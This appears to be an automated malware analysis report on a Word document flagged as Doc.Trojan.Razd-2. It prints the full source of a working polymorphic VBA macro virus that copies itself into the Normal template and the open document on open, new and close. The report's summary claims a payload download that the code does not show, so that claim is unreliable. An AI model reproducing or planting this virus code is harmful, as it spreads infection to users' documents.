Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b866dd684c770b47…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-05-05 23:41:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: b3b6d61ce2cbb339fa0b97655e3094ae SHA-1: c7b968af6380253865e6fd3d3a1f0fcb53938dc2 SHA-256: b866dd684c770b476c83745f4ea77c4a833a74bebe1d8600aec327a918235d83
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document with a high-confidence detection for VBA macros and a critical heuristic firing for a Document_Open macro. The VBA code appears to obfuscate itself using a function named PROMJENA, which modifies variable names and inserts random strings. This behavior, combined with the 'Doc.Trojan.Razd-2' ClamAV detection, strongly suggests the macro is designed to download and execute a malicious payload. The presence of a Document_Open macro indicates it will execute automatically when the document is opened, a common tactic for spearphishing attachments.

Heuristics 3

  • ClamAV: Doc.Trojan.Razd-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Razd-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1923 bytes
SHA-256: ce94725f91d5aa784e06d6db5de18f66276c95217db485594a3dac55d1de141d
Detection
ClamAV: Doc.Trojan.Razd-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'PIRON
Private Sub Document_Open()
Const CCTHB = 1
RNOHH = RNOHH + CCTHB
With NormalTemplate.VBProject.VBComponents(RNOHH).CodeModule
        If .Lines(RNOHH, 1) <> "'PIRON" Then
            .DeleteLines RNOHH, .CountOfLines
            .InsertLines RNOHH, PROMJENA(ThisDocument.VBProject.VBComponents(RNOHH).CodeModule.Lines(RNOHH, _
            ThisDocument.VBProject.VBComponents(RNOHH).CodeModule.CountOfLines))
        End If
End With
With ActiveDocument.VBProject.VBComponents(RNOHH).CodeModule
        If .Lines(RNOHH, 1) <> "'PIRON" Then
            .DeleteLines RNOHH, .CountOfLines
            .InsertLines RNOHH, PROMJENA(ThisDocument.VBProject.VBComponents(RNOHH).CodeModule.Lines(RNOHH, _
            ThisDocument.VBProject.VBComponents(RNOHH).CodeModule.CountOfLines))
        End If
End With
End Sub
Private Function PROMJENA(MUTANT) As String
Dim VARS(1 To 5)
VARS(1) = "RNOHH": VARS(2) = "CCTHB": VARS(3) = "HJHXY"
VARS(4) = "KGEEQ": VARS(5) = "KKRIP"
For HJHXY = 1 To 5
    KGEEQ = Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65) & _
    Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65)
        While InStr(1, MUTANT, VARS(HJHXY), vbTextCompare)
            KKRIP = InStr(1, MUTANT, VARS(HJHXY), vbTextCompare)
            MUTANT = Mid(MUTANT, 1, KKRIP - 1) & KGEEQ & Mid(MUTANT, KKRIP + Len(VARS(HJHXY)), Len(MUTANT) - KKRIP)
        Wend
Next
PROMJENA = MUTANT
End Function
Private Sub Document_New(): Document_Open: End Sub
Private Sub Document_Close(): Document_Open: End Sub
'WM.Piron by e[ax]
'Authorized distribution for Bosnia and Herzegovina